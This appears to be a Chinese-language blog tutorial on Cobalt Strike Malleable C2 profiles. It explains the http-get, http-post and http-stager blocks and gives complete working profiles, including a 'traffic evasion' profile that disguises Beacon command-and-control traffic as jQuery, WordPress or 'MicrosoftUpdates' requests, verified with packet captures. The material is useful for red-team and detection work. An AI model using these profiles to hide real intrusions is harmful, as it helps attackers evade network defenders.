Malleable C2

Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为

C2配置代码结构

由如下四个部分组成

自定义参数

http-get

http-post

http-stager

其中主要的部分为http-get，http-post，http-stager

http-get，这段仅对通信过程中的 GET 请求有效

再看里面的子结构，主要分为Client和Server分别针Beacon对C2的请求和C2对Beacon响应的内容进行修改

再看下其中Client结构中又分为三个部分，header，parameter，metadata，都是在自定义http报文

        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; // 则为http报文中的响应头Accept-Language为zh-CN,zh;q=0.9,en;q=0.8，以此类推，就是自定义http报文
                parameter "ver" "1.2.4"; //其实就是当GET请求的时候，一个端点所带的参数，比如 ?ver=1.2.4 这种，同样是自定义http报文
                metadata { //其中base64则指明其中的数据需要进行base64编码，prepend声明前缀是token=，header "Cookie"则声明存储在Cookie字段中，那么合起来在http报文中体现的就是Cookie: token=BASE编码的数据
                        base64;
                        prepend "token=";
                        header "Cookie";
                }
        }

以此类推Server结构中的字段也是这样去理解的！

其中set uri，为Get请求时候的地址！

整合起来http-get就是如下的样子：

http-get {
        set uri "/jquery.min.js"; # 
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
                parameter "ver" "1.2.4";
                metadata {
                        base64;
                        prepend "token=";
                        header "Cookie";
                }
        }
        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "application/javascript; charset=utf-8";
                output {
                        base64;
                        prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
                        append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
                        print;
                }
        }
}

注意：Cobalt Strike中有个C2lint可以帮助我们对配置文件进行检测，./c2lint my.profile，如下图就是http-get部分

这里还会注意到在 http-get请求中 server 和 client大部分都是一样的，但是在 server 中也有不一样的，那么就是output，这里的output可以理解为 GET 请求响应的的部分，可以从上图里面的响应中看出！

最后还会发现在 http-post 中的 client 也有output和id这两个部分，那是什么意思呢？

这里需要知道的就是在 Beacon 在上传执行的数据时是需要对应的 Task ID （这里的Task ID 可以理解为在你CS中的每个Beacon的编号）的， id 块正好是针对 Task ID 的修改，Client结构中的 output 块则是修改通过 POST 发送的数据，而在 server 结构中的 output 块仅仅是用于修改响应内容的！

而最后的 http-stager 是用于 stage 过程，当 Beacon 被执行后, 会在 C2 上下载载荷执行，Stage 过程，但是Stageless没有这一个过程！

简单的HTTP Malleable C2 Profile配置：

set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";

http-get {
        set uri "/jquery.min.js";
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
                parameter "ver" "1.2.4";
                metadata {
                        base64;
                        prepend "token=";
                        header "Cookie";
                }

        }

        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "application/javascript; charset=utf-8";
                output {
                        base64;
                        prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
                        append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
                        print;

                }
        }
}

http-post {
        set uri "/wp-admin";
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
                header "Cookie" "wordpress_test_cookie=WP+Cookie+check";
                id {
                        base64;
                        prepend "PHPSESSID=";
                        header "Cookie";
                }
                output {
                        base64;
                        print;
                }
        }

        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "text/html; charset=UTF-8";
                output {
                        base64;
                        print;
                }
        }
}

http-stager {
        set uri_x86 "/favicon1.ico";
        set uri_x64 "/favicon2.ico";
        client {
                header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        }

        server {
                header "Server" "Apache/2.4.39 (Unix)";
                header "Content-Type" "image/x-icon";
                output {
                        print;
                }
        }
}

C2所需要注意的地方：

1.每个Cobalt Strike实例一次使用一个配置文件，也就是说如果更改配置文件或加载新的配置文件，以前部署的Beacon将无法与你通信

2.在开发数据转换时，请始终了解数据的状态以及协议所允许的内容。例如，如果你对base64进行了元数据编码并将其存储在URI参数中，那么它将无法正常工作。为什么？因为在URL中某些base64字符（+，=和/）具有特殊含义，c2lint工具和Profile Compiler不会检测到此类问题。

3.即使进行很小的更改，也要始终测试你的配置文件。如果Beacon无法与你通信，则可能是你的配置文件profile存在问题。编辑它，然后再试一次。

4.信任c2lint工具。该工具超越了概要文件编译器。这些检查基于该技术的实现方式。如果c2lint检查失败，则说明你的配置文件profile存在实际问题。

参考文章：https://www.chabug.org/web/832.html
参考文章：https://www.cobaltstrike.com/help-malleable-c2

实现流量免杀

继续走，介绍完之后来个简单的应用，比如这篇文章的流量免杀！

文章：https://www.zzhsec.com/556.html

其中的C2配置如下：抽取关键的

#设置证书
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdates";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdates";  
    set ST       "US";
    set validity "365";
}
#设置
code-signer{
    set keystore "zzhsec.store";
    set password "123.zzhsec!";
    set alias "zzhsec";
}

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

进行抓包分析：

这里请求的是http-get，上面已经说过了，http-get中Client和Server分别针Beacon对C2的请求和C2对Beacon响应的内容进行修改

在抓包里面分析，自己理解的一般http-get请求包是用来作为连接的作用，定时发送心跳包来维持通信！

http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

跟踪TCP流

http-post部分

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

接下来再CS上面执行命令shell whoami

通信包：

跟踪TCP流

Beacon向C2发送的数据都是存储在data字段之后，正好跟C2的配置文件相同

C2响应的数据：

更多的C2配置文件参考：https://github.com/rsmudge/Malleable-C2-Profiles